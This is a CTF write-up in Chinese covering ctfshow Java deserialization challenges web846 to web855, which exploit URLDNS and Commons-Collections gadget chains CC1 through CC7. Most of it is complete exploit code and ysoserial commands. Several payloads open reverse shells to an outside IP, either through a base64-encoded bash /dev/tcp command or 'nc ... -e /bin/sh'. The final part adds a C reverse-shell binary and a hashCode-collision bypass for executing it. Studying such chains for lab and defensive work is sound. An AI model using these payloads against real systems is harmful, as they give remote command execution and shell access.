web846
#URLDNS链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.net.URL; import java.util.Base64;
public class URLDNS { public static void main(String[] args) throws Exception{ URL url = new URL("http://0cc054b6-237d-45fe-806c-95d59655509c.challenge.ctf.show/"); Class c = url.getClass(); Field hashCode = c.getDeclaredField("hashCode"); hashCode.setAccessible(true); hashCode.set(url,1); HashMap<URL, Integer> map = new HashMap<>(); map.put(url, 1); hashCode.set(url,-1); serialize(map); }
public static void serialize(Object object) throws Exception{ ByteArrayOutputStream data = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(data); oos.writeObject(object); oos.close(); System.out.println(Base64.getEncoder().encodeToString(data.toByteArray())); } }
|
然后将base64编码的字符串进行url编码后传入就行了
当然也可以用工具ysoserial
1
| java -jar ysoserial-[version]-all.jar [payload] '[command]'
|
1
| java -jar ysoserial-all.jar URLDNS "http://68fa5a21-03f5-46eb-9d5f-f8bd5e5e793a.challenge.ctf.show/"|base64
|
web847
#CC1链
环境是java7和commons-collections 3.1
直接打CC1,不会的可以去看我审链子的文章Java反序列化CC1链
打反弹shell的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| package SerializeChains.CCchains.CC1;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CC1plus { public static void main(String[] args) throws Exception {
Transformer[] fake_transformer = new Transformer[]{ new ConstantTransformer(1), }; Transformer[] Transformer = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIzLjI1LjE4Ni8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(fake_transformer);
HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class); constructorhandler.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructorhandler.newInstance(Override.class,lazyMap);
Map proxyedMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
Object obj = constructorhandler.newInstance(Override.class,proxyedMap);
setFieldValue(chainedTransformer,"iTransformers",Transformer);
serialize(obj);
} public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{ Class c = object.getClass(); Field field = c.getDeclaredField(field_name); field.setAccessible(true); field.set(object, field_value); } public static void serialize(Object object) throws Exception{ ByteArrayOutputStream data = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(data); oos.writeObject(object); oos.close(); System.out.println(Base64.getEncoder().encodeToString(data.toByteArray())); } }
|
ysoserial工具payload
1
| java -jar ysoserial-all.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIzLjI1LjE4Ni8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"|base64
|
web848
#CC6链or其他
这里禁止了TransformedMap类反序列化,可以用CC6的链子,或者用CC1另一条LazyMap的get方法触发链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| package SerializeChains.CCchains.CC6;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception { Transformer[] fake_transformer = new Transformer[]{ new ConstantTransformer(1), }; Transformer[] Transformer = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIzLjI1LjE4Ni8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(fake_transformer);
Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(),chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"2");
HashMap<Object,Object> hashmap = new HashMap<>(); hashmap.put(tiedMapEntry, "3");
lazyMap.remove("2");
setFieldValue(chainedTransformer,"iTransformers",Transformer);
serialize(hashmap);
} public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{ Class c = object.getClass(); Field field = c.getDeclaredField(field_name); field.setAccessible(true); field.set(object, field_value); } public static void serialize(Object object) throws Exception{ ByteArrayOutputStream data = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(data); oos.writeObject(object); oos.close(); System.out.println(Base64.getEncoder().encodeToString(data.toByteArray())); }
}
|
当然也可以用用工具ysoserial
1
| java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIzLjI1LjE4Ni8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"|base64
|
web849
#CC4链orCC2链
这次是用的Common-collection4.0版本,直接打CC4或者CC2就行
需要nc反弹
所以我们的EXP(以CC4为例)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| package POC.CC4;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.PriorityQueue; import javax.xml.transform.Templates; import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.comparators.TransformingComparator;
public class CC4 { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","a");
byte[] code = Files.readAllBytes(Paths.get("E:\\java\\JavaSec\\CC1\\target\\classes\\POC\\CC3\\URLClassLoader_test.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1); priorityQueue.add(2); Class t = transformingComparator.getClass(); Field transformerField = t.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
} public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{ Class c = object.getClass(); Field field = c.getDeclaredField(field_name); field.setAccessible(true); field.set(object, field_value); } public static void serialize(Object obj) throws IOException { ByteArrayOutputStream data =new ByteArrayOutputStream(); ObjectOutput oos =new ObjectOutputStream(data); oos.writeObject(obj); oos.flush(); oos.close(); System.out.println(Base64.getEncoder().encodeToString(data.toByteArray())); }
public static void unserialize(String filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); ois.readObject(); } }
|
在需要加载的类中的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package POC.CC3;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class URLClassLoader_test extends AbstractTranslet { static { try { Runtime.getRuntime().exec("nc 124.223.25.186 2333 -e /bin/sh"); } catch (IOException e) { throw new RuntimeException(e); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
然后生成payload并传入就行,CC2也是一样的
ysoserial的payload
1 2
| java -jar ysoserial-all.jar CommonsCollections4 "nc 124.223.25.186 2333 -e /bin/sh"|base64 java -jar ysoserial-all.jar CommonsCollections2 "nc 124.223.25.186 2333 -e /bin/sh"|base64
|
web850
#CC3链
因为这里的话使用了commons-collections 3.1的库并对一些可能有危险的类进行了封禁,所以直接用CC3就行,CC3可以绕过Runtime类禁用的情况
我们CC3的POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| package SerializeChains.CCchains.CC3;
import SerializeChains.Gedget.Gadgets; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class CC3upup {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIzLjI1LjE4Ni8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}");
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class); constructorhandler.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructorhandler.newInstance(Override.class,lazyMap); Map proxyedMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
Object obj = constructorhandler.newInstance(Override.class,proxyedMap);
Class<LazyMap> lazyMapClass = LazyMap.class; Field factory = lazyMapClass.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap, chainedTransformer);
serialize(obj); }
public static void setFieldValue(Object object, String field_name, Object field_value) throws Exception { Class c = object.getClass(); Field field = c.getDeclaredField(field_name); field.setAccessible(true); field.set(object, field_value); } public static void serialize(Object object) throws Exception{ ByteArrayOutputStream data = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(data); oos.writeObject(object); oos.close(); System.out.println(Gadgets.toBase64(data.toByteArray())); } }
|
这里的话我是用到ysoserial中创建恶意TemplatesImpl的方法去做的,不知道为什么自己的字节码一直加载失败,后面才知道环境是jdk7,而我的字节码是在jdk8下生成的,jdk7不兼容,换成jdk7后重新传入就可以打了

反弹shell后在机器中也可以看到是jdk7

也可以直接用工具
1
| java -jar ysoserial-all.jar CommonsCollections3 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIzLjI1LjE4Ni8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"|base64
|
web851
#CC7链
前面的CC4和CC2肯定是用不了了,看看CC7的一条结合CC6的链子,其实在commons-collections4中也是可以用的

这条链子的调用链是从DefaultedMap#get()触发从而触发transform
1
| Hashtable#readObject() 触发 DefaultedMap#get() → 调用 transformer,适用于commons-collections4
|
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.map.DefaultedMap;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7plus {
public static void main(String[] args) throws Exception { Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"nc 124.223.25.186 2333 -e /bin/sh"}) };
Map hashMap1 = new HashMap(); Map hashMap2 = new HashMap(); Class<DefaultedMap> d = DefaultedMap.class; Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class); declaredConstructor.setAccessible(true); DefaultedMap defaultedMap1 = declaredConstructor.newInstance(hashMap1, transformerChain); DefaultedMap defaultedMap2 = declaredConstructor.newInstance(hashMap2, transformerChain); defaultedMap1.put("yy", 1); defaultedMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable(); hashtable.put(defaultedMap1, 1); hashtable.put(defaultedMap2, 1);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(transformerChain,transformers);
defaultedMap2.remove("yy"); serialize(hashtable);
}
public static void serialize(Object object) throws Exception{ ByteArrayOutputStream data = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(data); oos.writeObject(object); oos.close(); System.out.println(Base64.getEncoder().encodeToString(data.toByteArray())); }
}
|
题目提示有nc,那就直接反弹就行了
当然也可以通过利用CC5的触发链触发get方法:http://localhost:4000/2025/06/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96CC5%E9%93%BE/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.keyvalue.TiedMapEntry; import org.apache.commons.collections4.map.DefaultedMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field;
public class CC7plus {
public static void main(String[] args) throws Exception { Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); DefaultedMap defaultedMap = new DefaultedMap(chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(defaultedMap,"evo1");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("evo");
Class bc = badAttributeValueExpException.getClass(); Field val = bc.getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException); unserialize("CC7plus.txt");
} public static void serialize(Object object) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC7plus.txt")); oos.writeObject(object); oos.close(); }
public static void unserialize(String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); ois.readObject(); }
}
|
web852
#CC7链2
上面851的链子是可以打的,当然也可以用适用于commons.collections4的CC7触发LazyMap#get()方法的链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| package SerializeChains.CCchains.CC7;
import org.apache.commons.collections4.map.LazyMap; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7plus2 {
public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"nc 124.223.25.186 2333 -e /bin/sh"}) }; Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
Map hashMap1 = new HashMap(); Map hashMap2 = new HashMap(); Map lazyMap1 = LazyMap.lazyMap(hashMap1, transformerChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.lazyMap(hashMap2, transformerChain); lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 1);
System.out.println("lazyMap1 hashcode:" + lazyMap1.hashCode()); System.out.println("lazyMap2 hashcode:" + lazyMap2.hashCode());
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(transformerChain, transformers);
lazyMap2.remove("yy"); serialize(hashtable); } public static void serialize(Object object) throws Exception{ ByteArrayOutputStream data = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(data); oos.writeObject(object); oos.close(); System.out.println(Base64.getEncoder().encodeToString(data.toByteArray())); } }
|

web853
#CC7链
其实853是把LazyMap的触发链给ban了的,预期解应该就是851我们的DefaultedMap链子
web854
#CC7链
然后进行反序列化
我是java8,使用了commons-collections 4.0的库并对一些可能有危险的类进行了封禁,包含:
- TransformedMap
- PriorityQueue
- InstantiateTransformer
- TransformingComparator
- TemplatesImpl
- AnnotationInvocationHandler
- HashSet
- Hashtable
- LazyMap
没有ban掉DefaultedMap,但是Hashtable给ban了,可以用851中讲到的第二个链子,通过BadAttributeValueExpException#readObject() 触发 TiedMapEntry#getValue() → 进而触发DefaultedMap#get()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.keyvalue.TiedMapEntry; import org.apache.commons.collections4.map.DefaultedMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.Base64;
public class CC7plus {
public static void main(String[] args) throws Exception { Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"nc 124.223.25.186 2333 -e /bin/sh"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); DefaultedMap defaultedMap = new DefaultedMap(chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(defaultedMap,"evo1");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("evo");
Class bc = badAttributeValueExpException.getClass(); Field val = bc.getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException);
} public static void serialize(Object object) throws Exception{ ByteArrayOutputStream data = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(data); oos.writeObject(object); oos.close(); System.out.println(Base64.getEncoder().encodeToString(data.toByteArray())); }
}
|
web855
代码分析
只有一个User类,环境是java8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package com.ctfshow.entity;
import java.io.*;
public class User implements Serializable { private static final long serialVersionUID = 0x36d; private String username; private String password;
public User(String username, String password) { this.username = username; this.password = password; }
public String getUsername() { return username; }
public void setUsername(String username) { this.username = username; }
public String getPassword() { return password; }
public void setPassword(String password) { this.password = password; }
private static final String OBJECTNAME="ctfshow"; private static final String SECRET="123456";
private static String shellCode="chmod +x ./"+OBJECTNAME+" && ./"+OBJECTNAME; }
|
给了一个OBJECTNAME和SECRET,并且有一段shellCode,估计最后的目标就是需要执行shellCode
然后我们来分析readObject方法
1 2 3 4
| private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { int magic = in.readInt(); if(magic==2135247942){ byte var1 = in.readByte();
|
从反序列化流里读 4 个字节作为一个自定义的反序列化的标志,并且需要等于2135247942才能进入开始反序列化
随后再读 1 个字节,并设立了两个分支,先看case1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| case 1:{ int var2 = in.readInt(); if(var2==0x36d){
FileOutputStream fileOutputStream = new FileOutputStream(OBJECTNAME); fileOutputStream.write(new byte[]{0x7f,0x45,0x4c,0x46}); byte[] temp = new byte[1]; while((in.read(temp))!=-1){ fileOutputStream.write(temp); }
fileOutputStream.close(); in.close();
} break; }
|
执行了写ELF文件的操作,并且会将剩下的反序列化流全部写入该文件中
再看case2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| case 2:{
ObjectInputStream.GetField gf = in.readFields(); String username = (String) gf.get("username", null); String password = (String) gf.get("password",null); username = username.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+", "") .replaceAll(" {2,}", " "); password = password.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+", "") .replaceAll(" {2,}", " "); User var3 = new User(username,password); User admin = new User(OBJECTNAME,SECRET); if(var3 instanceof User){ if(OBJECTNAME.equals(var3.getUsername())){ throw new RuntimeException("object unserialize error"); } if(SECRET.equals(var3.getPassword())){ throw new RuntimeException("object unserialize error"); } if(var3.equals(admin)){ Runtime.getRuntime().exec(shellCode); } }else{ throw new RuntimeException("object unserialize error"); } break; }
|
从反序列化流中取字段值username和password,并且过滤了控制字符、特殊符号、连续空格,随后创建两个User实例对象,一个是var3一个是admin,分别检测var3中是否存在username=ctfshow或者password=123456,存在就抛出报错,但是又要求var3.equals(admin)为true才会执行我们的ELF文件
看似这里没法操作,不过这里重写了equals方法,会优先调用User中的equals方法
1 2 3 4 5 6 7 8 9 10 11 12
| @Override public boolean equals(Object o) { if (this == o) return true; if (!(o instanceof User)) return false; User user = (User) o; return this.hashCode() == user.hashCode(); }
@Override public int hashCode() { return username.hashCode()+password.hashCode(); }
|
只比较了hashCode而没有比较字符串内容,也就是说只要username.hashCode()+password.hashCode() == hash("ctfshow")+hash("123456") 就可以了
结合上面的分析不难得出,我们需要构造两串恶意的序列化字符串,一串中需要包含恶意的可执行二进制文件ELF文件,在进入case1后将ELF文件内容写入,而另一串就需要进入case2触发执行我们的ELF文件,但需要构造一对username和password的hashCode相加后等于hash("ctfshow")+hash("123456")
解题
先写一个可执行二进制文件
1 2 3 4 5
| #include<stdlib.h> int main() { system("nc your-ip your-port -e /bin/sh"); return 0; }
|
用gcc编译生成可执行文件,因为在case1中会有写入文件头的操作,所以需要删去前4个字节
这里需要注意,Windows 自带的 gcc(如 MinGW)默认编译的是 PE,不是 ELF
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ubuntu@VM-16-12-ubuntu:/tmp$ vim evil.c ubuntu@VM-16-12-ubuntu:/tmp$ gcc evil.c -o evil ubuntu@VM-16-12-ubuntu:/tmp$ file evil evil: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c7ddcb8e8061edae994e9b4eb37f5b12a9446e97, for GNU/Linux 3.2.0, not stripped ubuntu@VM-16-12-ubuntu:/tmp$ xxd -l 8 evil \00000000: 7f45 4c46 0201 0100 .ELF.... ubuntu@VM-16-12-ubuntu:/tmp$ dd if=evil of=evil_real bs=1 skip=4 15956+0 records in 15956+0 records out 15956 bytes (16 kB, 16 KiB) copied, 0.0243344 s, 656 kB/s ubuntu@VM-16-12-ubuntu:/tmp$ xxd -l 8 evil 00000000: 7f45 4c46 0201 0100 .ELF.... ubuntu@VM-16-12-ubuntu:/tmp$ xxd -l 8 evil_real 00000000: 0201 0100 0000 0000 ........
|
可以看到已经成功删除了
然后我们根据readObject重写一个writeObject